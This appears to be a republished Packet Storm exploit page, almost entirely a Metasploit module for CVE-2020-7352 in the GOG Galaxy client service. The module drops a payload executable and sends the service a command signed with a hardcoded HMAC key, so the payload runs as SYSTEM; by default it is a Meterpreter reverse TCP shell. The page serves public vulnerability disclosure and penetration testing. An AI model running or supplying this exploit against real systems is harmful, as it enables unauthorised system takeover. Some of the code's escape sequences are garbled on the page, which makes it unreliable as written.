Exploit/Advisories

Published on June 22nd, 2020 📆 | 2492 Views ⚑

0

GOG GalaxyClientService Privilege Escalation ≈ Packet Storm


iSpeech.org

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/services'
require 'openssl'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GOG GalaxyClientService Privilege Escalation',
'Description' => %q{
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
also likely affected).
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Testa '
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[
'Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 28 2020',
'References' =>
[
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
['CVE', '2020-7352']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
}
)
)

register_options(
[
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\'])
]
)
end

def check
log_path = expand_path('%PROGRAMDATA%\GOG.com\Galaxy\logs\GalaxyClientService.log')
service_path = expand_path('%PROGRAMFILES(x86)%\GOG Galaxy\GalaxyClientService.exe')

return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)

log_data = read_file(log_path)
unless log_data && /Applications+version:s+(?d+.d+.d+.d*.*)/ =~ log_data
return CheckCode::Detected('Unable to determine version from log file')
end

return CheckCode::Detected('Galaxy Client version not found') unless ver_no

version = Gem::Version.new(ver_no)

return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')

CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
end

def exploit
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'

# The HMAC-SHA512 key for signing file_paths.
key = "xc8x86x07xe1x18x22x7ax38x05xc4x7f"
key < < "x89x3dxa4x1fxcbxdfx16x9exc9xbbxcb"
key < < "xfdxb1x9ax9fx5bx1fxebx9fx6cx1ex3c"
key < < "x14x46x44x6fx9dx8dxfdx67x8exc6xd4"
key < < "x0cx38x20xcbx9ax29xb5x2fx5dxb2xfd"
key < < "xb6xf8x0fxf9x5bxf8x50xaax5d"

# Start the GalaxyClientService. It will automatically terminate after ~10
# seconds of inactivity, so we don't need to bother shutting it down later.
print_status('Starting GalaxyClientService...')
ret = service_start('GalaxyClientService')
if ret == 0
print_status('Service started successfully.')
elsif (ret == 1056) || (ret == 1)
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')
else
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")
end

print_status('Connecting to service...')





# Create a TCP socket.
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
s = handler['return']

# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
# This only affects the recv(), not connect().
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L< '), 4)

# Set the socket address structure to localhost:9978.
sock_addr = "x02x00"
sock_addr < < [9978].pack('n')
sock_addr < < Rex::Socket.addr_aton('127.0.0.1')
sock_addr < < "x00" * 8

# Connect to the service. Retry up to 3 times, waiting 2 seconds in
# between.
connected = false
retries = 0
while (retries < 3) && (connected == false)
retries += 1
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
if handler['GetLastError'] == 0
connected = true
else
print_warning('Connection failed. Waiting 2 seconds and trying again...')
Rex.sleep(2)
end
end

fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected

data = build_payload(key)
print_status('Connected to service. Sending payload...')

# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug
# somewhere in the railgun system such that send() is never called. It
# seems that some mystery code is intercepting send() instead of letting it
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
# somewhere? The other ws2_32 functions work just fine...). To work around
# this problem, we will simply call it directly with call_function().
send_func = client.railgun.ws2_32.functions['send']
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)

# Read the server's response. On error, it returns nothing.
response = "x00" * 512
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)

# Convert the unsigned return value to a signed value.
ret = [handler['return'].to_i].pack('l').unpack1('l')
if ret < = 0
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")
else
print_good('Command executed successfully!')
end

client.railgun.ws2_32.closesocket(s)
end

def build_payload(key)
working_dir = datastore['WORKING_DIR']

header1 = "x00x93x08x04x10x01x18"
header2 = " xa1x90xecxe6x05xc2x0cx83x01nx80x01"

payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
file_path = expand_path("#{datastore['PATH']}\#{payload_name}")
payload_data = generate_payload_exe

print_status("Writing #{file_path} to target")
write_file(file_path, payload_data)
register_file_for_cleanup(file_path)

gog_cmd = "n#{file_path.length.chr}#{file_path}x12"
gog_cmd += "#{(file_path.length + 4).chr}"#{file_path}" x1a#{working_dir.length.chr}#{working_dir} x01(x01"

payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
end
end

Source link

Tagged with:



Comments are closed.